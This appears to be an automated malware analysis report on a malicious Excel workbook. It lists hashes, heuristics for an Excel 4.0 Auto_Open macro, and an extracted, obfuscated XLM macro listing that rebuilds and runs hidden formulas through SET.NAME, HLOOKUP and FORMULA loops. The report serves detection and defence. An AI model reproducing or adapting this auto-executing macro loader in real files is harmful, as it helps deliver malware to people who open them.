Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6259b8cb262557d6…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:46:09 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 2535da7c3a3a83862660c4ab828bbee0 SHA-1: 5369d844fcd23ae047ccbac1cf44ff45cb625031 SHA-256: 6259b8cb262557d64fc416a3d6fd2aa2928e717861d14f5edbff112b0bca5e1f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6380 bytes
SHA-256: 86c75e124f425cfe8cde88e222659c816e1b5a6a87866f7f0d43fed5c1f3efbb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tScU
' 0018     24 LABEL : Cell Value, String Constant - akzCwAmbd len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D169 
' 0018     22 LABEL : Cell Value, String Constant - beJRwbC len=0 
' 0018     21 LABEL : Cell Value, String Constant - dOKvDS len=0 
' 0018     24 LABEL : Cell Value, String Constant - jfHaReBgy len=0 
' 0018     20 LABEL : Cell Value, String Constant - JLafv len=0 
' 0018     27 LABEL : Cell Value, String Constant - JOcXRHiSgaBZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - kSFUgfKsZV len=0 
' 0018     26 LABEL : Cell Value, String Constant - LzMyMKwynJP len=0 
' 0018     21 LABEL : Cell Value, String Constant - mICeAp len=0 
' 0018     21 LABEL : Cell Value, String Constant - NodVct len=0 
' 0018     20 LABEL : Cell Value, String Constant - NswyR len=0 
' 0018     21 LABEL : Cell Value, String Constant - oAgSID len=0 
' 0018     23 LABEL : Cell Value, String Constant - qQEAnxuP len=0 
' 0018     23 LABEL : Cell Value, String Constant - smzqDUtj len=0 
' 0018     20 LABEL : Cell Value, String Constant - ssBHQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - SSLIbko len=0 
' 0018     22 LABEL : Cell Value, String Constant - TuDWwLy len=0 
' 0018     23 LABEL : Cell Value, String Constant - VgqexqOB len=0 
' 0018     26 LABEL : Cell Value, String Constant - xzKgYjlapWQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZSiyMdYVM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tScU,D72,"SET.NAME("LzMyMKwynJP",VALUE("0"))",""
'  tScU,D75,"SET.NAME("ZSiyMdYVM",LzMyMKwynJP)",""
'  tScU,D80,"SET.NAME("NswyR",LzMyMKwynJP)",""
'  tScU,D83,"SET.NAME("kSFUgfKsZV",COUNTA(ssBHQ))",""
'  tScU,D88,"SET.NAME("NodVct",COUNTA(xzKgYjlapWQ))",""
'  tScU,D91,[],""
'  tScU,D95,"SET.NAME("akzCwAmbd","")",""
'  tScU,D98,"ZSiyMdYVM",""
'  tScU,D101,"SET.NAME("SSLIbko",HLOOKUP("*",ssBHQ,ZSiyMdYVM,FALSE))",""
'  tScU,D105,"VgqexqOB",""
'  tScU,D107,"SET.NAME("TuDWwLy",LzMyMKwynJP)",""
'  tScU,D112,[],""
'  tScU,D115,"TuDWwLy",""
'  tScU,D120,"qQEAnxuP",""
'  tScU,D125,"JLafv",""
'  tScU,D128,"beJRwbC",""
'  tScU,D130,"SET.NAME("oAgSID",VALUE(HLOOKUP("*",xzKgYjlapWQ,beJRwbC,FALSE)))",""
'  tScU,D135,"dOKvDS",""
'  tScU,D140,"akzCwAmbd",""
'  tScU,D144,"NswyR",""
'  tScU,D146,NEXT(),""
'  tScU,D151,"jfHaReBgy",""
'  tScU,D156,"SET.NAME("f",INT(T(FORMULA(T(akzCwAmbd)&"",""&T(jfHaReBgy)))))",""
'  tScU,D161,"JOcXRHiSgaBZ",""
'  tScU,D164,NEXT(),""
'  tScU,D167,RETURN(),""
'  tScU,D192,"SET.NAME("mICeAp",D72)",""
'  tScU,D197,"ssBHQ",""
'  tScU,D201,"SET.NAME("xzKgYjlapWQ",R45C14)",""
'  tScU,D203,"SET.NAME("JOcXRHiSgaBZ",208)",""
'  tScU,D205,"SET.NAME("smzqDUtj",4)",""
'  tScU,D207,mICeAp(),""
'  tScU,D208,HALT(),""